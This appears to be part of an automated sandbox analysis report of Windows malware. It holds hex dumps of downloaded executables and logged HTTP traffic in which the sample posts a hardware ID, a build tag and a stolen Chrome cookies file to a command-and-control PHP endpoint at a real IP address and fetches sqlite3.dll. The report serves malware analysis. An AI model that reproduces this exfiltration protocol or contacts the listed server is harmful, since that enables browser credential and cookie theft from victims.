00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 06:38:07 GMTContent-Type: application/octet-streamContent-Length: 1895424Last-Modified: Mon, 02 Dec 2024 06:31:59 GMTConnection: keep-aliveETag: "674d545f-1cec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4b 00 00 04 00 00 a2 93 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 eb 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 eb 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 7a 7a 71 6b 6c 70 74 00 d0 19 00 00 20 31 00 00 d0 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6b 72 77 69 77 66 6e 00 10 00 00 00 f0 4a 00 00 04 00 00 00 c6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4b 00 00 22 00 00 00 ca 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 06:39:10 GMTContent-Type: application/octet-streamContent-Length: 1963520Last-Modified: Mon, 02 Dec 2024 01:24:49 GMTConnection: keep-aliveETag: "674d0c61-1df600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 39 d6 7e 68 7d b7 10 3b 7d b7 10 3b 7d b7 10 3b 63 e5 94 3b 61 b7 10 3b 63 e5 85 3b 69 b7 10 3b 63 e5 93 3b 25 b7 10 3b 5a 71 6b 3b 78 b7 10 3b 7d b7 11 3b 12 b7 10 3b 63 e5 9a 3b 7c b7 10 3b 63 e5 84 3b 7c b7 10 3b 63 e5 81 3b 7c b7 10 3b 52 69 63 68 7d b7 10 3b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 d5 36 5f 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 a6 01 00 00 00 00 00 00 90 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 86 00 00 04 00 00 d0 89 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 00 42 00 6e 00 00 00 00 e0 40 00 a0 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c cf 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a0 16 01 00 00 e0 40 00 00 78 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 42 00 00 02 00 00 00 dc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 10 42 00 00 02 00 00 00 de 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6d 71 71 73 68 66 64 00 f0 1a 00 00 90 6b 00 00 ee 1a 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 6b 72 63 73 77 66 00 10 00 00 00 80 86 00 00 06 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 86 00 00 22 00 00 00 d4 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 06:39:19 GMTContent-Type: application/octet-streamContent-Length: 1849856Last-Modified: Mon, 02 Dec 2024 06:31:45 GMTConnection: keep-aliveETag: "674d5451-1c3a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 8b ee 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 90 03 00 00 b6 00 00 00 00 00 00 00 40 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 49 00 00 04 00 00 3e ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c f0 04 00 70 00 00 00 00 e0 04 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 04 00 00 10 00 00 00 1e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 e0 04 00 00 02 00 00 00 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 04 00 00 02 00 00 00 30 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 00 05 00 00 02 00 00 00 32 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 78 6f 76 7a 73 77 6a 00 e0 19 00 00 50 2f 00 00 de 19 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 6f 64 65 66 6e 74 00 10 00 00 00 30 49 00 00 06 00 00 00 12 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 49 00 00 22 00 00 00 18 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 06:39:27 GMTContent-Type: application/octet-streamContent-Length: 1757184Last-Modified: Mon, 02 Dec 2024 06:31:52 GMTConnection: keep-aliveETag: "674d5458-1ad000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3c e7 4a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 a0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 67 00 00 04 00 00 dd 32 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 79 75 6a 6d 63 65 70 00 40 19 00 00 50 4e 00 00 32 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 63 6f 72 65 6d 6a 00 10 00 00 00 90 67 00 00 04 00 00 00 aa 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 67 00 00 22 00 00 00 ae 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 36 44 35 39 38 34 36 46 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="hwid"406D59846F5B340779059------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="build"drum------CBGCAFIIECBFIDHIJKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="message"browsers------CAFIJKFHIJKKEBGCFBFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"plugins------JKJDBAAAEHIEGCAKFHCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="message"fplugins------GIJDGCAEBFIIECAKFHIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBFBFBKFIDHJKFCAFHost: 185.215.113.206Content-Length: 5499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFIECBFIDGDAKFHIEHJK--
